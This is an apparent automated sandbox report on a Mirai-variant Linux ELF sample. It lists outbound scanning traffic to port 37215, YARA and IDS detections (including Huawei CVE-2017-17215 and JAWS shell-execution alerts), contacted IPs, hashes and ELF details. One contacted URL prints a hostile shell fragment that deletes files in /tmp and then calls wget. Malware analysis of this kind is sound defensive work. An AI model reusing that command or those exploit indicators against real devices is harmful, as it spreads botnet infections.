Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 37215

Source: z0r0.x86.elf

Submission file: segment LOAD with 7.8794 entropy (max. 8.0)

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5488)	Queries kernel information via 'uname':	Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 5441, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 5443, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: 5443.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 5441, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: z0r0.x86.elf PID: 5443, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
z0r0.x86.elf	44%	Virustotal		Browse
z0r0.x86.elf	74%	ReversingLabs	Linux.Trojan.Mirai
z0r0.x86.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
tojaubec.shop	92.118.56.203	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://upx.sf.net	z0r0.x86.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	z0r0.x86.elf, 5441.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 5443.1.0000000008048000.0000000008058000.r-x.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	z0r0.x86.elf, 5441.1.0000000008048000.0000000008058000.r-x.sdmp, z0r0.x86.elf, 5443.1.0000000008048000.0000000008058000.r-x.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.199.251.137	unknown	Egypt	8452	TE-ASTE-ASEG	false
8.209.129.226	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
145.106.138.213	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
97.38.107.87	unknown	United States	6167	CELLCO-PARTUS	false
23.51.98.56	unknown	United States	16625	AKAMAI-ASUS	false
66.143.172.57	unknown	United States	7018	ATT-INTERNET4US	false
116.107.32.191	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
198.5.148.144	unknown	United States	11486	COLO-PREM-VZBUS	false
178.165.102.208	unknown	Ukraine	34700	CITYNET-ASMaxnetLLCUA	false
27.146.112.46	unknown	Malaysia	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
158.214.237.105	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.215.11.99	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
156.118.112.40	unknown	France	59863	NORSKREGNESENTRALNO	false
217.212.229.229	unknown	Sweden	1299	TELIANETTeliaCarrierEU	false
197.23.213.145	unknown	Tunisia	37693	TUNISIANATN	false
217.6.27.195	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
116.21.150.253	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
86.20.208.206	unknown	United Kingdom	5089	NTLGB	false
156.83.88.195	unknown	Netherlands	1103	SURFNET-NLSURFnetTheNetherlandsNL	false
108.68.161.241	unknown	United States	7018	ATT-INTERNET4US	false
184.223.249.179	unknown	United States	10507	SPCSUS	false
156.0.172.160	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
113.22.249.137	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false
156.146.251.186	unknown	United States	1448	UNITED-BROADBANDUS	false
84.28.185.21	unknown	Netherlands	33915	TNF-ASNL	false
209.119.152.232	unknown	United States	10355	DSCGAUS	false
52.32.127.109	unknown	United States	16509	AMAZON-02US	false
203.203.51.61	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
149.30.141.192	unknown	United States	174	COGENT-174US	false
75.167.146.107	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
197.75.135.238	unknown	South Africa	16637	MTNNS-ASZA	false
41.203.88.31	unknown	Nigeria	37148	globacom-asNG	false
101.139.45.14	unknown	Taiwan; Republic of China (ROC)	131591	AMBIT-AS-TWAmbitMicrosystemCorporationTW	false
219.14.16.3	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
89.122.79.113	unknown	Romania	9050	RTDBucharestRomaniaRO	false
45.32.45.161	unknown	United States	20473	AS-CHOOPAUS	false
171.24.37.131	unknown	Germany	34457	AMB-GENERALIDE	false
81.99.50.70	unknown	United Kingdom	5089	NTLGB	false
41.203.40.58	unknown	South Africa	36968	ECN-AS1ZA	false
152.226.241.79	unknown	Singapore	9292	TEMASEK-POLY-ASTemasekPolytechnicSingaporeSG	false
117.175.162.218	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
76.99.108.47	unknown	United States	7922	COMCAST-7922US	false
41.224.152.222	unknown	Tunisia	37492	ORANGE-TN	false
117.194.124.72	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
142.114.121.40	unknown	Canada	577	BACOMCA	false
41.195.126.246	unknown	South Africa	16637	MTNNS-ASZA	false
99.254.250.4	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
150.113.222.255	unknown	United States	1488	DNIC-ASBLK-01488-01489US	false
207.220.85.2	unknown	United States	7029	WINDSTREAMUS	false
156.24.5.92	unknown	United States	29975	VODACOM-ZA	false
194.185.168.252	unknown	Italy	3313	INET-ASIT	false
157.13.235.101	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
69.21.1.91	unknown	United States	4181	TDS-ASUS	false
156.138.236.141	unknown	United States	29975	VODACOM-ZA	false
87.198.165.162	unknown	Ireland	34245	MAGNET-ASIE	false
164.91.229.2	unknown	United States	36075	SPACELABS-HEALTHCAREUS	false
166.118.225.148	unknown	Japan	131790	SANOFI-SG6RafflesQuay18-00SG	false
216.210.227.188	unknown	United States	7385	ALLSTREAMUS	false
161.4.230.19	unknown	Norway	60278	HELSE-VEST-IKTNO	false
125.246.235.67	unknown	Korea Republic of	38411	GOEYI-AS-KRYonginofficeofeducationKR	false
155.244.170.63	unknown	United States	668	DNIC-AS-00668US	false
41.97.63.156	unknown	Algeria	36947	ALGTEL-ASDZ	false
164.162.25.86	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
167.61.71.166	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
58.114.227.40	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
41.138.141.74	unknown	Mauritania	37541	CHINGUITELMR	false
37.8.121.71	unknown	Palestinian Territory Occupied	15975	HADARA-ASPS	false
156.165.149.217	unknown	Egypt	36992	ETISALAT-MISREG	false
166.103.63.150	unknown	Korea Republic of	7029	WINDSTREAMUS	false
156.78.164.238	unknown	United States	18862	NCS-HEALTHCAREUS	false
39.228.125.100	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
168.130.110.116	unknown	Australia	27435	OPSOURCE-INCUS	false
172.206.92.63	unknown	United States	18747	IFX18747US	false
37.186.250.124	unknown	Italy	12874	FASTWEBIT	false
197.166.142.45	unknown	Egypt	24863	LINKdotNET-ASEG	false
72.135.227.219	unknown	United States	10796	TWC-10796-MIDWESTUS	false
41.113.13.27	unknown	South Africa	16637	MTNNS-ASZA	false
156.216.92.82	unknown	Egypt	8452	TE-ASTE-ASEG	false
69.101.204.29	unknown	United States	4261	BLUEGRASSNETUS	false
170.39.4.115	unknown	Reserved	139776	PETRONAS-BHD-AS-APPetroliamNasionalBerhadMY	false
197.17.114.141	unknown	Tunisia	37693	TUNISIANATN	false
197.46.154.82	unknown	Egypt	8452	TE-ASTE-ASEG	false
9.15.1.62	unknown	United States	3356	LEVEL3US	false
41.194.29.32	unknown	South Africa	22351	INTELSAT-1US	false
41.217.104.40	unknown	Nigeria	37340	SpectranetNG	false
41.219.166.79	unknown	Nigeria	37196	SUDATEL-SENEGALSN	false
41.247.29.4	unknown	South Africa	5713	SAIX-NETZA	false
122.105.126.38	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
220.153.97.208	unknown	Japan	18081	KCNKintetsuCableNetworkCoLtdJP	false
220.136.147.247	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
93.47.243.15	unknown	Italy	12874	FASTWEBIT	false
89.221.71.252	unknown	Estonia	3249	ESTPAKEE	false
135.20.253.140	unknown	United States	18676	AVAYAUS	false
118.248.194.195	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
65.165.130.179	unknown	United States	1239	SPRINTLINKUS	false
41.92.95.93	unknown	Morocco	36925	ASMediMA	false
41.203.15.63	unknown	South Africa	37153	xneeloZA	false
143.6.89.177	unknown	United States	11003	PANDGUS	false
197.65.82.46	unknown	South Africa	16637	MTNNS-ASZA	false
64.119.231.138	unknown	United States	35900	DIGI-BDS-ASNBB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.199.251.137	F3TJqL0vDs.elf	Get hash	malicious	Gafgyt, Mirai	Browse
156.199.251.137	Af1Fnq4I4G	Get hash	malicious	Unknown	Browse
66.143.172.57	sG5mfsmTZp	Get hash	malicious	Mirai	Browse
198.5.148.144	cutie.arm7	Get hash	malicious	Mirai	Browse
178.165.102.208	MJSW0eRTTF	Get hash	malicious	Mirai	Browse
197.23.213.145	CZ20sNTjue	Get hash	malicious	Mirai	Browse
41.215.11.99	8iEESoleF3.elf	Get hash	malicious	Mirai, Moobot	Browse
	ofGwfm4ksr.elf	Get hash	malicious	Mirai	Browse
	C8b269Lor6.elf	Get hash	malicious	Mirai	Browse
	x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SURFNET-NLSURFnetTheNetherlandsNL	armv6l.elf	Get hash	malicious	Unknown	Browse	131.224.124.57
	armv4l.elf	Get hash	malicious	Unknown	Browse	145.17.57.142
	1.elf	Get hash	malicious	Unknown	Browse	145.138.148.158
	fuckunix.spc.elf	Get hash	malicious	Mirai	Browse	145.52.29.202
	Josho.x86.elf	Get hash	malicious	Unknown	Browse	130.37.196.172
	4.elf	Get hash	malicious	Unknown	Browse	145.90.234.46
	DEMONS.ppc.elf	Get hash	malicious	Unknown	Browse	145.157.171.174
	DEMONS.sh4.elf	Get hash	malicious	Unknown	Browse	145.82.121.105
	armv5l.elf	Get hash	malicious	Unknown	Browse	145.104.194.50
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	2b687482300.6345827638.08.exe	Get hash	malicious	Unknown	Browse	8.217.47.169
	armv7l.elf	Get hash	malicious	Unknown	Browse	8.212.89.249
	Josho.x86.elf	Get hash	malicious	Unknown	Browse	47.235.55.179
	file.exe	Get hash	malicious	XRed	Browse	47.254.187.72
	file.exe	Get hash	malicious	XRed	Browse	47.254.187.72
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	47.253.61.56
	45631.exe	Get hash	malicious	Nitol	Browse	8.217.152.240
	Hilix.mpsl.elf	Get hash	malicious	Mirai	Browse	8.208.198.92
	0000000000000000.exe	Get hash	malicious	Nitol	Browse	8.217.35.192
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	8.211.209.238
CELLCO-PARTUS	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	97.206.71.203
	armv6l.elf	Get hash	malicious	Unknown	Browse	97.182.6.175
	armv4l.elf	Get hash	malicious	Unknown	Browse	97.133.200.202
	armv5l.elf	Get hash	malicious	Unknown	Browse	97.167.243.156
	1.elf	Get hash	malicious	Unknown	Browse	97.236.226.9
	fuckunix.arm.elf	Get hash	malicious	Mirai	Browse	97.231.38.226
	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse	174.41.234.102
	Fantazy.i486.elf	Get hash	malicious	Unknown	Browse	97.136.126.111
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	97.236.106.48
	armv6l.elf	Get hash	malicious	Mirai	Browse	97.234.224.111
TE-ASTE-ASEG	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	156.197.112.165
	armv6l.elf	Get hash	malicious	Unknown	Browse	156.211.105.57
	armv5l.elf	Get hash	malicious	Unknown	Browse	156.201.12.41
	4.elf	Get hash	malicious	Unknown	Browse	41.37.5.135
	3.elf	Get hash	malicious	Unknown	Browse	197.42.235.240
	2.elf	Get hash	malicious	Unknown	Browse	41.35.33.88
	1.elf	Get hash	malicious	Unknown	Browse	41.43.19.135
	3.elf	Get hash	malicious	Unknown	Browse	41.235.85.86
	4.elf	Get hash	malicious	Unknown	Browse	41.239.243.38
	2.elf	Get hash	malicious	Unknown	Browse	197.53.179.11

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.8752130443861645
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	z0r0.x86.elf
File size:	31'328 bytes
MD5:	1fd64dd326aedc86f9e5cd89016afeb7
SHA1:	2f0d7b674458f08ab9af952e7bed0b8b1871f224
SHA256:	a297dc164481a17e147069520c0c9ad0463078d7ea0879843d57e35d0b85d5c1
SHA512:	b5220234ee8fc55ffd95142089cddd08302633bd9db7fc53259152ab51e35d390922b9aeb16470b9efb96a9e7668b53c76374fa7be8ca33aa29fc822ae4bb713
SSDEEP:	768:Aq3yhi2rg98FdmvPyQw7NABkcEfIkx9KAnnhBfsUQbRPBKJ:LiFdmvPgACcEfhKKlslZS
TLSH:	00E2F1B2421F675DEFCCA673ACCDB0550C82E522773F4F6219614D9322271D712E1E99
File Content Preview:	.ELF........................4...........4. ...(.....................Wy..Wy..............................@...........Q.td............................H...UPX!....................\........?d..ELF.......d....`..4.... .(.....6...-.#......}..~........@{.d..@...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x804f0b8
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8048000	0x8048000	0x7957	0x7957	7.8794	0x5	R E	0x1000
LOAD	0x0	0x8050000	0x8050000	0x0	0x8940	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-05T14:26:56.153834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53872	197.7.160.89	37215	TCP
2025-01-05T14:27:00.093430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35984	174.78.99.129	80	TCP
2025-01-05T14:27:00.093430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35984	174.78.99.129	80	TCP
2025-01-05T14:27:00.273430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44540	105.173.184.192	80	TCP
2025-01-05T14:27:00.273430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44540	105.173.184.192	80	TCP
2025-01-05T14:27:00.348534+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	32958	213.52.106.216	80	TCP
2025-01-05T14:27:00.348534+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	32958	213.52.106.216	80	TCP
2025-01-05T14:27:01.179009+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52402	54.76.185.62	80	TCP
